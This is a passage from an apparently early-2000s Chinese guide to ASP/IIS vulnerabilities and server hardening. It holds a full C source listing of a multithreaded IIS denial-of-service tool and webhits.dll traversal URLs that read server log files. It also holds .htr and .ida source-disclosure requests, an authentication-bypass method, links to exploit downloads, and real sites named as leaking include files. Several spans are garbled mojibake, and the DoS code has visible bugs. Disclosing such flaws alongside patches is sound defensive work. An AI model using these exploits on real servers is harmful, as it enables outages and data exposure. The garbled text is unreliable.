Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
发送了象上面所写的两次请求后，对方的IIS在接受了这些请求后就会导致内存溢出.当然，它就芏愿?嗟那肭笞鞒龇从ΑＲ蛭?苑秸?狈π槟饽诖妫??衿饕步?Ｖ乖诵小Ｊ潞螅?苑讲荒芡¨?仄?eb service来解决问题，而必须重启服务器。
12 漏洞名称：IIS5.0超长URL拒绝服务漏洞
问题描述： Microsoft IIS 5.0在处理以".ida"为扩展名的URL请求时，它会有两种结果。一个可能的结果是服务器回复"URLString too long"的信息；或类似"Cannot find the specified path"的信息。另一种可能就是服务器端服务停止，并返回"Access Violation"信息(即成功的实现了对服务器端的拒绝服务攻击)
当远端攻击者发出类似如下的请求时： http://someurl/...[25kb of .]...ida服务器端会崩溃(导致拒绝服务攻击)或返回该文件不在当前路径的信息(暴露文件物理地址)
问题解决或者建议：大多数情况下，站点很少使用扩展名为".ida"和".idq"的文件，可在ISAPI脚本映射中，将扩展名为".ida"和".idq"的应用程序映射删除。
13 请求不存在的扩展名为idq或ida 文件，会暴露服务器上得物理地址.
问题描述：通过请求一个不存在的扩展名为idq或ida得文件，IIS会暴露文件在服务器上得物理地址.这样会给攻击者提供了不必要的信息，而且，这对攻击一个Web站点来说，是很有价值的第一步。
测试程序：通过请求如：
http://someurl/anything.ida
http://someurl/lunwen/anything.ida或:
http://someurl/anything.idq
一个远端用户可以收到类似：The IDQ d:\http\anything.idq could not be found的响应。这样的一个响应就会让攻击者获得了Web站点的物理路径，并且还可以获得更多的有关该站点在服务器上的组织与结构。
14、NT Index Server存在返回上级目录的漏洞
问题描述：受影响的版本:Microsoft Index Server2.0 [WinNT4.0,WinNT 2000.0]
Index Sserver2.0是WinNT4.0 Option Pack中附带的一个软件的工具,其中的功能已经被WinNT 2000中的Indexing Services所包含。当与IIS结合使用时,Index Server和Indexing Services便可以在最初的环境来浏览Web Search的结果,它将生成一个HTML文件,其中包含了查找后所返回页面内容的简短引用,并将其连接至所返回的页面[即符合查询内容的页面],也就是超级连接。要做到这一点,它便需要支持由webhits.dll-ISAPI程序处理的.htw文件类型。这个dll允许在一个模版中使用"../"用做返回上级目录的字符串.这样,了解服务器文件结构的攻击者便可以远程的阅读该机器上的任意文件了。
漏洞的利用: 1)您的系统中存在.htw文件Index Server提供的这种超级连接允许Web用户获得一个关于他搜寻结果的返回页,这个页面的名字是与CiWebHits File变量一起通过.htw文件的,webhits.dll这个ISAPI程序将处理这个请求,对其进行超级连接并返回该页面。因此用户便可以控制通过.htw文件的CiWebHits变量,请求到任何所希望获得的信息。另外存在的一个问题便是ASP或其他脚本文件的源代码也可以利用该方法来获得。
上面我们说过webhits.dll后接上"../"便可以访问到Web虚拟目录外的文件,下面我们来看个例子:
http://somerul/iissamples/issamples/oop/qfullhit.dll?CiWebHitsFile=/../../ winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full
在浏览器中输入该地址,便可以获得该服务器上给定日期的Web日志文件.在系统常见的.htw样本文件有:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/iissamples/exair/search/qfullhit.htw
/iissamples/exair/search/qsumrhit.hw
/iishelp/iis/misc/iirturnh.htw [这个文件通常受loopback限制]
2)您的系统中不存在.htw文件调用一个webhits.dll ISAPI程序需要通过.htw文件来完成,如果您的系统中不存在.htw文件,虽然请求一个不存在的.htw文件将失败,但是您的仍然存在可被利用的漏洞。其中的窍门便是利用inetinfo.exe来调用webhits.dll,这样同样能访问到Web虚拟目录外的文件。但我们需要通过制作一个的特殊的URL来完寐┒吹睦?谩Ｊ紫任颐切枰?桓鲇行У奈募?试?这个文件必须是一个静态的文件,如".htm",".html",".txt"或者".gif",".jpg"。这些文件将用作模版来被webhits.dll打开。现在我们需要获得inetinfo.exe来利用webhits.dll,唯一可以做到这点的便是请求一个.htw文件:
http://url/default.htm.htw?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full
很明显,这个请求肯定会失败,因为系统上不存在这个文件。但请注意,我们现在已经调用到了webhits.dll,我们只要在一个存在的文件资源后面[也就是在.htw前面]加上一串特殊的数字(%20s),[就是在例子中default.htm后面加上这个代表空格的特殊数字],这样我们便可以欺骗过web服务器从而达到我们的目的.由于在缓冲部分中.htw文件名字部分被删除掉[由于%20s这个符号],所以,当请求传送到webhits.dll的时候,便可以成功的打开该文件,并返回给客户端,而且过程中并不要求系统中真的存在.htw文件。
问题解决和建议：微软已经对该问题发放了补丁:
Index Server 2.0:
Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha: http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Windows 2000 Indexing Services:
Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17726
15绕过验证直接进入ASP页面。
漏洞描述：如果用户知道了一个ASP页面的路径和文件名，而这个文件又是要经过验证才能进去的，但是用户直接输入这个ASP页面的文件名，就有可能通过绕过验证.比如：我在一些网站上这样试过：首先关闭所有的浏览器，窗口，输入：
http://someurl/system_search.asp?page=1就样就看到了只能系统员才能看到的页面。当然有些人为了防止这种情况也会在system_search.asp的开头加个判断，比如：判断session("system_name"),如果不为空时就能进入，这样上面的url请求就不能直接进入管理员页面了。但是这种方法也有一个漏洞，如果攻击者先用一个合法的帐号，或者在本机上生成一个session,如session("system_name")="admi"，那因为session("system_name")不为空，这样也能直接进入绕过密码，直接进入管理员页面。
解决方法：在需要验证的ASP页面开头处进行相应的处理。比如：可跟踪上一个页面的文件名，只有从上一页面转进来的会话才能读取这个页面。
16、IIS4.0/5.0特殊数据格式的URL请求远程DOS攻击
漏洞描述:
当在安装有有IIS4.0或者IIS5.0的web服务上,请求一个具有特殊数据格式的URL,会拖慢受攻击web服务器的响应速度,或许会使其暂时停止响应。
受影响的版本：
MicrosoftInternetInformationServer4.0
MicrosoftInternetInformationServer5.0
漏洞测试程序如下：
http://202.96.168.51/download/exploits/iisdos.exe
    源代码如下：
http://202.96.168.51/download/exploits/iisdos.zip
    测试程序：
    只要打入:iisdos<***.***.**.**>就能攻击对方web服务器
  问题解决：
InternetInformationServer4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20906
InternetInformationServer5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20904
    更多的信息:
http://www.microsoft.com/technet/security/bulletin/ms00-030.asp
Microsoft安全公告MS00-021:
http://www.microsoft.com/technet/security/bulletin/fq00-030.asp
    相关连接
http://www.ussrback.com
17 IIS web server DOS
漏洞描述：默认情况下，IIS容易被拒绝服务攻击。如果注册表中有一个叫 "MaxClientRequestBuffer"的键未被创建，针对这种NT系统的攻击通常能奏效。 "MaxClientRequestBuffer"这个键用于设置IIS允许接受的输入量。如果 "MaxClientRequestBuffer" 设置为256(bytes)，则攻击者通过输入大量的字符请求IIS将被限制在256字节以内。而系统的缺省设置对此不加限制，因此，利用下面的程序。可以很容易地对IIS server实行DOS攻击：
#include <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Wont exit correctly and a
lot
of other fun things.
//That I didnt want to take the time to do. So just ctrl+c out of
the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my
beloved.\"\n");
if(argc<2){
printf("Usage: %s [server] [port]\n",argv[0]);
exit(1);
}
buffer=malloc(17500);
memset( buffer, A, strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.\n");
exit(1);
}
else{
printf("started winsock.\n\n");
}
counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.\n");
wh (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}
void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/\r\n";
int die=1;
printf("Entered CNG\n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socket\n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i\n", p);
for(;;){
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i\n", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG\n");
return;
}
cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]
Where:
[return] is just an \r\n
[buffer] is a never ending stream of As
攻击结果将导致NT系统的CPU占用率达到 100%
解决方案
运行Regedt32.exe在：
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters增加一个值：
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
设置为十进制具体数值设置为你想设定的IIS允许接受的URL最大长度。
CNNS的设置为256
18、MS ODBC数据库连接溢出导致NT/9x拒绝服务攻击
漏 洞 描 述:
Microsoft ODBC数据库在连接和断开时可能存在潜在的溢出问题(Microsoft ACCESS数据库相关)。
如果不取消连接而直接和第二个数据库相连接，可能导致服务停止。
影响系统:
ODBC 版本: 3.510.3711.0
ODBC Access驱动版本: 3.51.1029.00
OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386)
Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)
漏洞检测方法如下:
ODBC 连接源名称: miscdb
ODBC 数据库型号: MS Access
ODBC 假设路径: d:\data\misc.mdb
ASP代码如下:
<%
set connVB = server.createobject("ADODB.Connection")
connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"
%>
<html>
<body>
...lots of html removed...
<!-- We Connect to DB1 -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
Note we do NOT close the connection
%>
<!-- Call the same database by means of DBQ direct file access -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};
DBQ=d:\data\misc.mdb"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
Note we DO close t connection
%>
在这种情况下，IIS处理进程将会停顿，CPU使用率由于inetinfo.exe进程将达到100%。只有重新启动计算机才能恢复。
19、ASP主页.inc文件泄露问题
漏洞描述：
受影响的版本:任何提供ASP服务的系统远程:YES / 本地:YES
内容摘要:当存在asp的主页正在制作并没有进行最后调试完成以前，可以被某些搜索引擎机动追加为搜索对象，如果这时候有人利用搜索引擎对这些网页进行查找，会得到有关文件的定位，并能在浏览器中察看到数据库地点和结构的细节揭示完整的源代码。
具体操作过程是：
- 利用搜索引擎查找包含+"Microsoft VBScript 运行时刻错误执行搜索" +".inc ，" 的关键字
- 搜索引擎会自动查找包含asp的包含文件(.inc)并显示给用户
- 利用浏览器观看包含文件的源代码，其中可能会有某些敏感信息
漏洞的利用:
例子:
- http://shopping.altavista.com/inc/lib/prep.lib
暴露数据库连接和性质, 资源地点, 小甜饼逻辑,服务器 IP 地址
- http://www.justshop.com/SFLib/ship.inc
暴露数据库性质
- http://www.bbclub.com:8013/includes/general.inc
暴露 cobranding
- http://www.salest.com/corporate/admin/include/jobs.inc
暴露 datafile 地点和结构
- http://www.bjsbabes.com/SFLib/design.inc
包括数据库结构为 StoreFront 2000 暴露源代码
- http://www.ffg.com/scripts/IsSearchEngine.inc
暴露搜索引擎记录文件
- http://www.wcastl.com/include/functions.inc
暴露成员电子邮件地址
- http://www.wcastl.com/flat/comments.txt
暴露成员私人的注释文件
- http://www.traveler.net/two/cookies.inc
暴露 cookie 逻辑
解决方案:
- 搜索引擎应该不索引有 asp 运行时刻错误的页
- 程序员应该在网页发布前对其进行彻底的调试
- 安全专家需要固定 asp 包含文件以便外部的用户不能看他们
asp 新闻组、站点提供两个解决方案对这个漏洞进行修正，首先对 .inc 文件内容进行加密，其次也可以使用 .asp 文件代替.inc 文件使用户无法从浏览器直接观看文件的源代码。.inc文件的文件名不用使用系统默认的或者有特殊含义容易被用户猜测到的，尽量使用无规则的英文字母。
20、利用Activer server explorer可对文件进行读写访问
漏洞描述：
chinaasp的Activer server explorer可以很方便的对本地文件在线查看服务器上的目录在线查看文件的名称、大小、类型、修改时间,在线编辑纯文本文件，如.txt、.htm、.asp、.pl、.cgi等等,直接执行服务器上的文件。
Activer server explorer要求填写相对路径或者绝对路径，但是假如：有一个攻击者把Activer server explorer上传到目标服务器上的某个目录，并且这个目录支持ASP的话，那么他就可以通过Activer server explorer修改、执行目标服务器上的文件。这种情况可以发生在一个攻击者拥有目标NT服务器上的一个可写目录帐号，并且这个目录又支持ASP。比如一些支持ASP的个人免费主页服务器，把Activer server explorer先传上你申请的免费主页空间，再通过各种方法得到目标服务器的路径，(比如可通过漏洞："请求不存在的扩展名为idq或ida文件，会暴露文件在服务器上的物理地址.").或者直接在相对路径上填"."，一般是默认。这样攻击者就能任意修改，执行目标服务器上的文件，不管他对这个文件有无读写访问权。
所以那些提供有ASP服务的个人主页或者其它服务的服务器，就要加倍小心这种攻击了。
漏洞解决方法
其实Activer server explorer就是利用了上面讲的漏洞　4　filesystemobject 组件篡改下载 fat分区上的任何文件的漏洞。那么我们如何才能限制用户使用FileSystemObject对象呢？一种极端的做法是完全反注册掉提供FileSystemObject对象的那个组件，也就是Scrrun.dll。具体的方法如下：
在ＭＳ－ＤＯＳ状态下面键入：
Regsvr32 /u c:\windows\system\scrrun.dll
（注意：在实际操作的时候要更改成为你本地的实际路径）但是这样的话，就不能使用FileSystemObject对象了，有时利用FileSystemObject对象来管理文件是很方便，有什么办法能两全其美呢？
我们可以做到禁止他人非法使用FileSystemObject对象,但是我们自己仍然可以使用这个对象.方法如下:
查找注册表中
HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值
将其更改成为你想要的字符串(右键-->"重命名"),比如 某晌?
HKEY_CLASSES_ROOT\Scripting.FileSystemObject2
这样,在ASP就必须这样引用这个对象了:
Set fso = CreateObject("Scripting.FileSystemObject2")
而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。
只要你不告诉别人这个更改过的对象名称，其他人是无法使用FileSystemObject对象的。这样，作为站点管理者我们就杜绝了他人非法使用FileSystemObject对象，而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了！
21 IIS4.0/IIS5.0超长文件名请求存在漏洞
漏洞描述：
受影响的版本:
Microsoft IIS 5.0
+ Microsoft Windows NT 2000
Microsoft IIS 4.0
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0
当在一个已知的文件名后加230个"%20"再加个.htr，会使安装有Microsoft IIS 4.0/5.0泄漏该文件的内容。这是由ISM.dll映射的.htr文件引起的.比如：
http://target/filename%20<重复230次>.htr
这种请求只有当.htr请求是第一次调用或者ISM.dll第一次装载进内存，才能起作用。
解决方法：
安装补丁：
Microsoft IIS 5.0:
http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/EN-US/Q249599_W2K_SP1_X86_en.EXE
Microsoft IIS 4.0:
http://download.microsoft.com/download/iis40/Patch/Q260838/NT4ALPHA/EN-US/ismpst4i.exe
22　ASP编辑器会自动备份asp文件，会被下载的漏洞
漏洞描述：
在有些编辑asp程序的工具，当创建或者修改一个asp文件时，编辑器自动创建一个备份文件，比如：UltraEdit就会备份一个..bak文件，如你创建或者修改了some.asp，编辑器自动生成一个叫some.asp.bak文件，如果你没有删除这个bak文件，攻击有可以直接下载some.asp.bak文件，这样some.asp的源程序就会给下载。
六 ASP安全建议
如何设置才能使ASP更加安全呢？以下我们重点来谈谈ASP安全方面要注意的问题。我们在第五部分"ASP漏洞和解决方法"中针对某些漏洞，也提出了相应的安全建议，这部分就不再重复。
在这部分的后面还要介绍些可扫描ASP漏洞的工具。
1 安装NT最新的补丁
目前最新的补丁是NT Option Pack 6.0.，微软的主页有最新的补丁。一般来说微软都会及时的公布最新的漏洞和补丁。目前IIS最新是5.0。windows2000自带IIS5.0.
IIS 5.0新功能如下：
安全性上：包括摘要式验证、整合的Windows验证、SGC (Server-Gated Cryptography )、Microsoft Certificate Services 2.0、集区处理程序之程序保护等。
管理上：包括IIS重新激活、站台CPU使用时间的限制、CPU资源使用记录、使用终端机服务远程管理IIS、自订错误讯息等。
Internet标准上：包括WebDAV(Web Distributed Authoring and Versioning)、FTP重新激活、HTTP压缩等。
Active Server Pages：包括新的转向方法(Server.Transfer与Server.Execute方法)、新的错误处理功能(Server.GetLastError方法)、无指令.asp的执行速度增快、可安装组件的效能调升、Scriptlet支持、使用cookie取得浏览器信息、自动增减执行绪(executing threads)、SRC服务器端包含功能、Script Encoder编码保护等。
更具体的功能介绍请参见其它资料。
2 关闭没有用的服务和协议
"尽量少开没用到的服务"，这永远是网络安全的准则。如果开启了某个服务，你就要面对不少的漏洞困扰，更重要的是你还要时时提防未来的由这个服务所引起的漏洞。比如，你不使用ftp,那就把FTP关了，不然你就要发费大量的精力和金钱去应付那些什么DOS，缓冲区溢出之类的漏洞。NETBIOS也是windows的一大安全隐患，我想目前服务器很少需要Netbios。再如你的IIS安装了index server 服务，那你至少要面对三个以上的有关这个服务的漏洞，因此如果你没用到INDEX　SERVER服务，也大可删除他同样的道理，我们要安装最少的协议。千万不要安装点对点通道通讯协议。此外，还必须小心地配置TCP/IP协议。在TCP/IP的属性页中选择"IP地址"项目，然后选择"高级"。在弹出来的对话框中选择"安全机制"，这样你可以禁止UDP，然后开启IP端口6和TCP端口80。当然开不开这些端口主强茨愕那榭隽恕?br> 　　IIS中的应用程序映射也是个很大的安全漏洞，请在IIS中设置好扩展名和可执行路径，删除没用的扩展名。
3 设置好你的NT
NT缺省安装时，系统账号Administrator和Guest被自动设置，很多攻击者就是利用这些账号来猜密码，从而进入你的系统。虽然没有足够的耐心，很难猜中这些密码，但是为了安全起见，建议把这些账号重新命名或者删除。NT　SERVER的系统策略编辑器非常有用。按"管理工具"－＞"系统策略编辑器"就可以进入，然后选择"文件"－＞"打开注册表"，并选择"本地计算机"图标，就可以认真配置了。主要设置以下几项：
1． 取消：网络－＞系统规则更新－＞远程更新
2． 取消：WINDOWS　NT网络－＞共享－＞创建隐藏的驱动器共享
3． 设置：Windows NT远程访问下面的各项
4． 设置：Windows NT系统->登录中各个项目。包括设置登录标记;不允许从"身份验证对话框"关机;不显示上次登录的用户名.
5． 设置：WINDOWS NT系统->文件系统中的"不为长文件名创建8.3文件名"
不要使用远程管理软件，除非不得已。由于NT不太支持远程管理，所以你可能会安装Reachout或者PC anywhere来管理。可是，当你安装了这些软件，你就不得不开启TCP/IP的所有端口。在你离开服务器的时候，请按"Ctrl+del+alt"，并选择"锁定工作站"。
4 磁盘文件格式使用比较安全的NTFS格式。
NTFS 权限是 Web 服务器安全性的基础，它定义了一个或一组用户访问文件和目录的不同级别。当拥有 Windows NT有效帐号的用户试图访问一个有权限限制的文件时，计算机将检查文件的 访问控制表 (ACL)。该表定义了不同用户和用户组所被赋予的权限。例如，Web 服务器上的 Web 应用程序的所有者需要有"更改"权限来查看、更改和删除应用程序的 .asp文件。但是，访问该应用程序的公共用户应仅被授予"只读"权限，以便将其限制为只能查看而不能更改应用程序的 Web 页。
5 对目录设置不同的属性，如：Read、Excute、Script。
您可以通过配置您的 Web 服务器的权限来限制所有用户查看、运行和操作您的ASP 页的方式。不同于 NTFS权限提供的控制特定用户对应用程序文件和目录的访问方式， Web 服务器权限应用于所有用户，并且不区分用户帐号的类型。 对于要运行您的ASP 应用程序的用户，在设置 Web 服务器权限时，必须遵循下列原则：
对包含 .asp 文件的虚拟目录允许"读"或"脚本"权限。
对 .asp 文件和其他包含脚本的文件（如 .htm 文件等）所在的虚目录允许"读"和"脚本"权限。
对包含 .asp 文件和其他需要"执行"权限才能运行的文件（如 .exe 和 .dll 文件等）的虚目录允许"读"和"执行"权限。
6 维护 Global.asa 的安全
为了充分保护 ASP 应用程序，一定要在应用程序的 Global.asa 文件上为适当的用户或用户组设置 NTFS 文件权限。如果Global.asa 包含向浏览器返回信息的命令而您没有保护 Global.asa文件，则信息将被返回给浏览器，即便应用程序的其他文件被保护。
7不要把密码，物理路径直接写在程序中。
很难保证您的ASP程序是否会给人拿到，即使你安装了最新的补丁。为了安全起见，应该把密码和用户名保存在数据库中，使用虚拟路径。
8 在程序中记录用户的详细信息.
这些信息包括用户的浏览器、用户停留的时间，用户IP等。其中记录IP是最有用的。可用下面的语句了解客户端和服务端的信息：
<Table><%for each name in request.servervariables%>
<tr><td><%=name%>:</td>
<td><%=request.servervariables(name)%></td>
</tr>
<%next%></table>
如果我们可以记录了用户的IP，就能通过追捕来查用户的具体地点。当然如果用户通过代理来浏览网页，上面的方法只能看到用户代理的IP，而不能记录用户真实的IP。ASP没有提供查看客户端网卡物理地址（即MAC）的功能。
9 Cookie 安全性
ASP 使用 SessionID cookie 跟踪应用程序访问或会话期间特定的 Web 浏览器的信息。这就是说，带有相应的cookie 的 HTTP 请求被认为是来自同一 Web 浏览器。Web 服务器可以使用 SessionID cookies配置带有用户特定会话信息的 ASP 应用程序。例如，如果您的应用程序是一个允许用户选择和购买 CD 唱盘的联机音乐商店，就可以用SessionID 跟踪用户漫游整个应用程序时的选择。
SessionID 能否被黑客猜中？为了防止计算机黑客猜中 SessionID cookie 并获得对合法用户的会话变量的访问，Web 服务器为每个 SessionID指派一个随机生成号码。每当用户的 Web 浏览器返回一个 SessionID cookie 时，服务器取出 SessionID和被赋予的数字，接着检查是否与存储在服务器上的生成号码一致。若两个号码一致，将允许用户访问会话变量。这一技术的有效性在于被赋予的数字的长度（64唬??顺ざ仁辜扑慊?诳筒轮?SessionID 从而窃取用户的活动会话的可能性几乎为 0。
加密重要的 SessionID Cookie.
截获了用户 sessionID cookie 的计算机黑客可以使用此 cookie 假冒该用户。如果 ASP
应用程序包含私人信息，信用卡或银行帐户号码，拥有窃取的 cookie的计算机黑客就可以在应用程序中开始一个活动会话并获取这些信息。您可以通过对您的 Web 服务器和用户的浏览器间的通讯链路加密来防止SessionID cook ie 被截获。
10使用身份验证机制保护被限制的 ASP 内容
可以要求每个试图访问被限制的 ASP 内容的用户必须要有有效的 Windows NT帐号的用户名和密码。每当用户试图访问被限制的内容时，Web 服务器将进行身份验证，即确认用户身份，以检查用户是否拥有有效的Windows NT 帐号。
Web 服务器支持以下几种身份验证方式：
基本身份验证 提示用户输入用户名和密码。
Windows NT 请求/响应式身份验证,从用户的 Web 浏览器通过加密方式获取用户身份信息。然而，Web 服务器仅当禁止匿名访问或 Windows NT 文件系统的权限限制匿名访问时才验证用户身份。
11 保护元数据库
访问元数据库的 ASP 脚本需要 Web服务器所运行的计算机的管理员权限。在从远程计算机上运行这些脚本时，须经已通过身份验证的连接，如使用 Windows NT请求/响应验证方式进行连接。应该为管理级 .asp 文件创建一个服务器或目录并将其目录安全验证方式设置为 Windows NT请求/响应式身份验证。目前，仅 Microsoft Internet Explorer version 2.0 或更高版本支持 Windows NT 请求响应式身份验证。
12 使用 SSL 维护应用程序的安全
SSL （Secure Sockets Layer）协议是由Netscape首先发表的网络资料安全传输协定,其首要目的是在两个通信间提供秘密而可靠的连接。该协议由两层组成，底层是建立在可靠的传输协议（例如：TCP）上的是SSL的记录层，用来封装高层的协议。SSL握手协议准许服务器端与客户端在开始传输数据前，能够通过特定的加密算法相互鉴别。SSL的先进之处在于它是一个独立的应用协议，其它更高层协议能够建立在SSL协议上。
SSL3.0 协议作为 Web 服务器安全特性，提供了一种安全的虚拟透明方式来建立与用户的加密通讯连接。SSL 保证了 Web内容的验证，并能可靠地确认访问被限制的 Web 站点的用户的身份。
通过 SSL，您可以要求试图访问被限制的 ASP应用程序的用户与您的服务器建立一个加密连接；以防用户与应用程序间交换的重要信息被截取。
比如好多基于WEB的ASP论坛都会提供注册用户互相发送信息的服务，这种信息是明文传送的，如果在网吧就很容易给人监听到。如果加了一层SSL认证，就会防止发送信息被监听的可能。
13 客户资格认证
控制对您的 ASP 应用程序访问的一种十分安全的方法是要求用户使用客户资格登录。客户资格是包含用户身份信息的数字身份证，它的作用与传统的诸如护照或驾驶执照等身份证明相同。用户通常从委托的第三方组织获得客户资格，第三方组织在发放资格证之前确认用户的身份信息。（通常，这类组织要求姓名、地址、电话号码及所在组织名称；此类信息的详细程度随给予的身份等级而异。）
每当用户试图登录到需要资格验证的应用程序时，用户的 Web 浏览器会自动向服务器发送用户资格。如果 Web 服务器的 SecureSockets Layer (SSL) 资格映射特性配置正确，那么服务器就可以在许可用户对 ASP 应 绦蚍梦手?岸云渖矸萁?腥啡稀?
作为 ASP应用程序开发人员，您可以编写脚本来检查资格是否存在并读取资格字段。例如，您可以从资格证明中访问用户名字段和公司名字段。Active Server Pages 在 Request 对象的 ClientCertificate 集合中保存资格信息。必须将 Web 服务器配置为接受或需要客户资格，然后才能通过 ASP 处理客户资格；否则，ClientCertificate集合将为空。
14 ASP的加密
由于ASP脚本是采用明文（plaintext）方式来编写的，所以应用开发商辛苦开发出来的ASP应用程序，一旦发布到运行环境中去后，就很难确保这些"源代码"不会被流传出去。这样就产生了如何有效地保护开发出来的ASP脚本源代码的需求。
官方加密程序：从微软免费下载到sce10chs.exe 直接运行即可完成安装过程。安装完毕后，将生成screnc.exe文件，这是一个运行在DOS PROMAPT的命令工具。
运行screnc - l vbscript source.asp destination.asp生成包含密文ASP脚本的新文件destination.asp用记事本打开看凡是"<%和%>"之内的，不管是否注解，都变成不可阅读的密文了，但无法加密中文。
几种ASP源代码保护方法：
1，"脚本最小化"即ASP文件中只编写尽可能少的源代码，实现商业逻辑的脚本部分被封装到一个COM/DCOM组件，并在ASP脚本中创建该组件，进而调用相应的方法（methed）即可。应用开发者动手开发ASP脚本应用之前就可按此思路来开发，或者直接用ASP脚本快速开发出原型系统后，针对需要保护、加密的重要脚本用COM/DCOM组件来重新开发、实现并替换。
2，"脚本加密"即ASP脚本仍直接按源代码方式进行开发，但在发布到运行环境之前将脚本进行加密处理，只要把加密后的密文脚本发布出去。即在ASP.DLL读取脚本这个环节加入密文还原的处理。实现这种思路的方法有两种：一是自行开发一个ISAPI的IIS过滤（filter）块，在ASP.DLL之前勾连（hook）对ASP脚本文件的读取，以便把文件系统读出的密文还原成ASP.DLL可以解释的明文；方法二是直接由ASP.DLL提供对ASP脚本加密处理的支持。微软在新版本的Vbscript.dll
jscript.dll中提供这种成为MS script encode技术的支持。这样，无论是客户端的Vbscript
jscript（包括WSH脚本等），还是服务器端的Vbscript jscript （即ASP脚本）都可以支持加密处理。
MS script encode技术具体的实现思路包括以下两个方面：一是加密过程，通过提供一个实用程序对包含ASP脚本源代码的文本文件进行扫描，找出其标记为<script language = "vbscript.encode">或<script language = "Jscript.encode">；二是还原过程，IE或ASP.DLL等执行脚本时是统一通过Vbscript.dll
jscript.dll来解释执行的，所以它们都能同时地、透明地支持明文和密文的脚本。
总之，如果采用第一种思路，要么 孕性诳?⒐?讨凶裾战?校??纯梢钥悸茄≡褡远??怀?isual basic 编译代码的通用的、实用工具；采取第二种思路的化，要么就自行开发IIS ISAPI过滤模块，要么可以考虑直接采用MS script encode软件。
下面来看看一种ASP可以使用的简单字符加密算法，而不是那些受限制的加密算法。其实，这里介绍的加密算法对于一般的运用来说已经足够解密人麻烦一阵子的了。它的加密基础是最简单的Vernum密码方法，它的基本原理是，需要有一个需要加密的明文和一个随机生成的解密钥匙文件。然后使用这两个文件组合起来生成密文。
    (明文) 组合 (密钥) = 加密后的密文 所以这里介绍的是生成密钥的代码。我们假设我们生成的密钥为512位长的密钥，它已经足够来加密一个文本字符了。代码如下：
KeyGeN.asp文件
<%
******************************
KeyGeN.asp
******************************
Const g_KeyLocation = "C:\key.txt"
Const g_KeyLen = 512
On Error Resume Next
Call WriteKeyToFile(KeyGeN(g_KeyLen),g_KeyLocation)
if Err <> 0 Then
Response.Write "ERROR GENERATING KEY." & "<P>"
Response.Write Err.Number & "<BR>"
Response.Write Err.Description & "<BR>"
Else
Response.Write "KEY SUCCESSFULLY GENERATED."
End If
Sub WriteKeyToFile(MyKeyString,strFileName)
Dim keyFile, fso
set fso = Server.CreateObject("scripting.FileSystemObject")
set keyFile = fso.CreateTextFile(strFileName, true)
keyFile.WriteLine(MyKeyString)
keyFile.Close
End Sub
Function KeyGeN(iKeyLength)
Dim k, iCount, strMyKey
lowerbound = 35
upperbound = 96
Randomize Initialize random-number generator.
for i = 1 to iKeyLength
s = 255
